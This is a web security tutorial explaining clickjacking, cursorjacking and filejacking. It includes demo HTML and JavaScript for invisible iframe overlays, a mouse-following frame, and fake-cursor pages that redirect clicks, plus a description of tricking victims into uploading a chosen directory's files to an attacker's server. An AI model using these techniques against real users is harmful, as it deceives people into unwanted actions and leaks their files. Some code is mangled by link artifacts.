Same origin bypasses using clickjacking

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. It is a browser security issue that is a vulnerability across a variety of browsers and platforms. A clickjack takes the form of embedded code or a script that can execute without the user’s knowledge, such as clicking on a button that appears to perform another function.

The term “clickjacking” was coined by Jeremiah Grossman and Robert Hansen in 2008. Clickjacking can be understood as an instance of the confused deputy problem, a term used to describe when a computer is innocently fooled into misusing its authority [Wikipedia]. The clickjacking attack is a common security flaw, wherein a transparent iframe and customized CSS fool a user to click on an invisible object without knowing.

The following code is an example of status update:

<html>
<head>Status Update</head>
<body>
<form name="updatestatus" action="javascript:
alert('Status updated')" method="POST">
<input type="hidden" name="status" value="You are my hero, blah blah blah">
<input type="hidden" name="Anticsrftoken" value"jaklgbkj4wtfgfklsafghajfnmacdnwmrauf">
<input type="submit" name="twitter" value="Update here">
</form>
</body>
</html>

Let’s have a look at the above mentioned code. In this example, a user will see a button “update here”, and once the user clicks on the button, a prompt will come up that says “status updated”. The real page would contain a URL where those user input values are sent. When the user clicks on the submit button, the user status is updated.

To exploit this, the attacker needs to frame the vulnerable site into the transparent iframe.

<html>
<head>
<style> iframe{ filter:alpha(opacity=0); opacity:0; position:absolute;
top: 250px; left: 40px; height: 300px; width: 250px;
}
img{ position:absolute; top: 0px;
left: 0px; height: 300px; width: 250px;
}
</style>
</head>
<body>
<!-- The user sees the following image-->
<img src<a href="http://httpsecure.org/wp-content/uploads/2014/06/CSRF-220x170.png">="http://httpsecure.org/wp-content/uploads/2014/06/CSRF-220x170.png</a>">
<!-- but he effectively clicks on the following framed content -->
<iframe src<a href="http://httpsecure.org/uid">="http://httpsecure.org/ui</a>d=145496823/status.php"></iframe>
</body>
</html>

In the above shown code, there is no visible presence of the frame content. This way, the user won’t see iframe content, instead he will see only the mentioned image.

With the help of CSS code and a hidden frame, the user will only see the above mentioned image instead of the application’s real content.

If the user clicks on the button, the hidden HTML form loads inside the iframe and send the value. This is a simplest example of how a user can be fooled into performing unwanted actions. Even if the application relies on an Anti-CSRF token, it does not impact the delivery of the clickjacking attack. This is because the resource to be framed is loaded normally and contains a valid Anti-CSRF token.

Ethical Hacking Training – Resources (InfoSec)

Note: Clickjacking is the perfect example of bypassing Anti-CSRF token.

The above mentioned example demonstrates what is clickjacking and how it is exploited. If you need the attack to take dynamic information such as mouse movement from the target, you can throw JavaScript into the code. This enables you to get exact x and y coordinates of the current mouse position. One clickjacking aim is to ensure your target mouse is always on top of the button, so the victim will click wherever you want. Rich Lundeen and Brendan Coles created a BeEF command module implementing this very technique.

Now, you have two frames, one inner and other one is an outer iframe. The inner frame gets its position updated according to the current mouse cursor position, and outer iframe loads the target origin you want to exploit with the same attack. So, this way the mouse cursor is always wherever you want.

The following code uses the JQuery API to dynamically update the position of the outer frame given the current mouse coordinates:

$j("body").mousemove(function(e) {
$j(outerObj).css('top', e.pageY);
$j(outerObj).css('left', e.pageX);
});

 The inner iframe style uses the opacity trick to render an invisible element:

 filter:alpha(opacity=0);
opacity:0;

The clickjacking BeEF module with the preceding HTML as the inner iframe will send all clicks to the iframe. The iframe is following the mouse movements. So, wherever the user clicks on the page, they will be clicking the status update button.

The iframe is reliably following the mouse movements.

The cursor is still on top of the button.

When the user decides to click somewhere, the click will trigger the onClick event of the button in the framed page. As you can see in the source page of the framed page, this will result in an Alert dialog.

Same origin bypasses using cursorjacking

This is typically similar to the clickjacking attack, however in this issue we will focus on the mouse cursor.

Good examples of cursorjacking were demonstrated by Eddy Bordi and refined by Maruz Niemietz. Cursorjacking deceives users by means of a custom cursor image, where the pointer is displayed with an offset. The displayed cursor is shifted to the right from the actual mouse position.

Let’s consider the following page:

<html>
<head>
<style type="text/css">
#c {
cursor:u<a href="http://localhost/basic_cursorjacking">rl("http://localhost/basic_cursorjacking</a>
	/new_cursor.png"),default;
}
#c input{
cursor:u<a href="http://localhost/basic_cursorjacking">rl("http://localhost/basic_cursorjacking</a>
	/new_cursor.png"),default;
}
</style>
</head>
<body>
<h1>This is an example of CursorJacking.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Click on the 'b' or 'd' buttons. </h1>
<div id="c">
<input type="button" value="a" onclick="alert('clicked on a')">
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
<input type="button" value="b" onclick="alert('clicked on b')">
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;<br></br>
<input type="button" value="c" onclick="alert('clicked on c')">
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
<input type="button" value="d" onclick="alert('clicked on d')">&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
</div>
</body>
</html>

You can see the mouse cursor is changed with a custom image. This contains a mouse icon that is moved to static offset on the right.

Clicking the second button results in clicking the first button.

In the above example, the image background is visible, however, in a real case scenario the image would be a transparent background. When the user tries to click the B and D button in the page, he would actually be clicking the button on the left of the page.

This new attack vector relies on completely hiding the cursor in the body of the page and adding the following style to the body element.

<body style="cursor:none">

Let’s take another example. A different cursor image is then dynamically overlaid and is associated with mousemove events.

The following code gives you a demo of this technique:

<html>
<head><title>Advanced cursorjacking by Kotowicz &amp; Heiderich</title>
<style>
body,html {margin:0;padding:0}
</style>
</head>
<body style="cursor:none;height: 1000px;"><img style="position: absolute;z-index:1000;" id=cursor src="cursor.png" />
<div style=margin-left:300px;">
<h1>Is this a good example of cursorjacking?</h1>
</div>
<button style="font-size:
150%;position:absolute;top:130px;left:630px;">YES</button>
<button style="font-size: 150%;position:absolute;top:130px;
left:680px;">NO</button>
<div style="opacity:1;position:absolute;top:130px;left:30px;">
<a href="https://twitter.com/share" class="twitter-share-button" data-via="kkotowicz" data-size="small">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id))
{js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/ widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document, "script","twitter-wjs");</script>
</div>
<script>
function shake(n) {
if (parent.moveBy) { for (i = 10; i > 0; i--) { for (j = n; j > 0; j--) { parent.moveBy(0,i); parent.moveBy(i,0); parent.moveBy(0,-i); parent.moveBy(-i,0);
}
}
}
}
shake(5);
var oNode = document.getElementById('cursor');
var onmove = function (e) {
var nMoveX = e.clientX, nMoveY = e.clientY; oNode.style.left = (nMoveX + 600)+"px"; oNode.style.top = nMoveY + "px";
};
document.body.addEventListener('mousemove', onmove, true);
</script>
</body>
</html>

Note: Mentioned code written by Kotowicz & Heiderich

In this example, the mouse cursor image is replaced with a custom image. Also, the event listener is then attached to the page body, listening for mousemove events.

When the user’s mouse is moved, the event triggers the listener that results in the fake mouse cursor (the visible one) moving accordingly.

Clicking the YES button results in clicking the Tweet button.

This technique actually originally bypassed NoScript’s ClearClick Protection.

Bypass same origin policy using filejacking

Filejacking allow the extrusion of directory content from the target underlying Operating

System to the attacker’s server through clever UI manipulation within the browser.

This result is that under certain conditions, you can download files from the target server. In order to perform this attack successfully, first the target must use Chrome, because it’s the only browser which supports directory and webkitdirectory input attributes like the following.

Second, the attack relies on baiting the victim into clicking somewhere, similar to the clickjacking attack. In this scenario, the input element presented is hidden behind a button element.

Kotowicz published this attack in a research paper in 2011 after analyzing the impact of delivering filejacking attack to users baited with social engineering tricks.

The filejacking attack depends on the target using the operating system’s “Choose Folder” dialog box when downloading a file from the web. To perform this attack, you should attempt to trick the user into selecting a directory containing sensitive files, for instance by employing authentic-looking phishing content that demonstrates what the target will see if they select the “Download to…” button. JavaScript code will enumerate the files in the directory with the directory input attribute, and then POST each of the files back to your server.

In order to exploit filejacking, you can Google it and find server and client side code for the same. Input element should have their opacity set to 0, which will be covered by the visible button element. When the victim clicks the button, they are actually clicking the input element, assuming they need to select a download destination.

When the victim clicks on the input element, a download destination is chosen and the onchange event on the input element is then triggered and the malicious function will execute. This results in enumerating the files contained in the selected download destination and formatting the content using the form data object, which is extruded with a cross-origin Post XMLHttpRequest. And the enumerated directory file is uploaded to the server.

FYI

The origin of the two previous snippets is different, which does not prevent the attack from exploiting. The file could be extruded from the target’s OS, SOP, powered browsers such as FIREFOX, CHROME and SAFARI. In cross-origin scenarios, the browser still sees the XMLHttpRequest, even through the response cannot be read.

References

http://en.wikipedia.org/wiki/Clickjacking

https://browserhacker.com/